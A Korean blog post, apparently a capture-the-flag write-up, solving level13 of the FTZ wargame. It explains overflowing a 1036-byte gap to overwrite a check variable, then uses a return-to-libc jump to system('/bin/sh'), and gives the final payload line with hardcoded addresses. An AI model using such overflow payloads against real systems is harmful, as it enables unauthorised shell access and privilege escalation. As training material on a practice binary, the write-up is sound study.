Pwnable/FTZ

[FTZ] level13 풀이!!!!

RootJJang 2022. 5. 10. 18:41
SMALL

소스코드를 읽어봅니다

 

저번 문제와는 꽤 다르네요

 

인자값을 buf에 입력받는데 조건은 i로 비교하네요

 

buf를 오버플로해서 i에다가 값을 덮어쓰도록 하겠습니다

 

두 변수 사이의 거리를 구해봅시다

 

buf의 위치가 ebp-1048이 됐고 아래 if문이 cmp이니 ebp-12가 i가 위치한 곳이겠네요

 

두 변수 사이의 거리는 1036이므로 1036을 채워주고 조건에 맞게 16진수 값을 리틀엔디언으로 써주고 남은 12바이트 dummy값을 채워준 후 저번 문제처럼 RTL 기법을 사용해보겠습니다

 

RTL 기법의 정확한 사용 방법은 제 level11 티스토리를 참고해주세요!

 

https://qpalzm1029.tistory.com/26?category=555234

 

FTZ level11 풀이!

로그인해서 ls로 무슨 파일들이 있는지 확인해봅니다 hint 파일과 attackme 파일이 있네요 file 명령어로 파일을 확인해보니 32bit짜리 실행 파일이라 하네요 한 번 실행해 보겠습니다 오류가 뜨네요 h

qpalzm1029.tistory.com

 

각각 system(), /bin/sh의 주소는 4203f2c0, 42127ea4입니다

 

이제 페이로드를 작성해보죠

 

Payload = dummy[1036] + i(0x1234567) + dummy[12] + system() + dummy[4] + /bin/sh

 

최종 페이로드 : ./attackme `python -c 'print "\x90"*1036 + "\x67\x45\x23\x01" + "\x90"*12 + "\xc0\xf2\x03\x42" + "\x90"*4 + "\xa4\x7e\x12\x42"'`

 

플래그가 상당히 싸발적이네요

LIST

'Pwnable > FTZ' 카테고리의 다른 글

[FTZ] level15 풀이!!  (2) 2022.05.11
[FTZ] level14 풀이!!  (1) 2022.05.10
[FTZ] level12 풀이!!!  (3) 2022.05.09
[FTZ] level11 풀이!!!  (2) 2022.05.03
[FTZ] level 9 풀이!  (1) 2022.05.03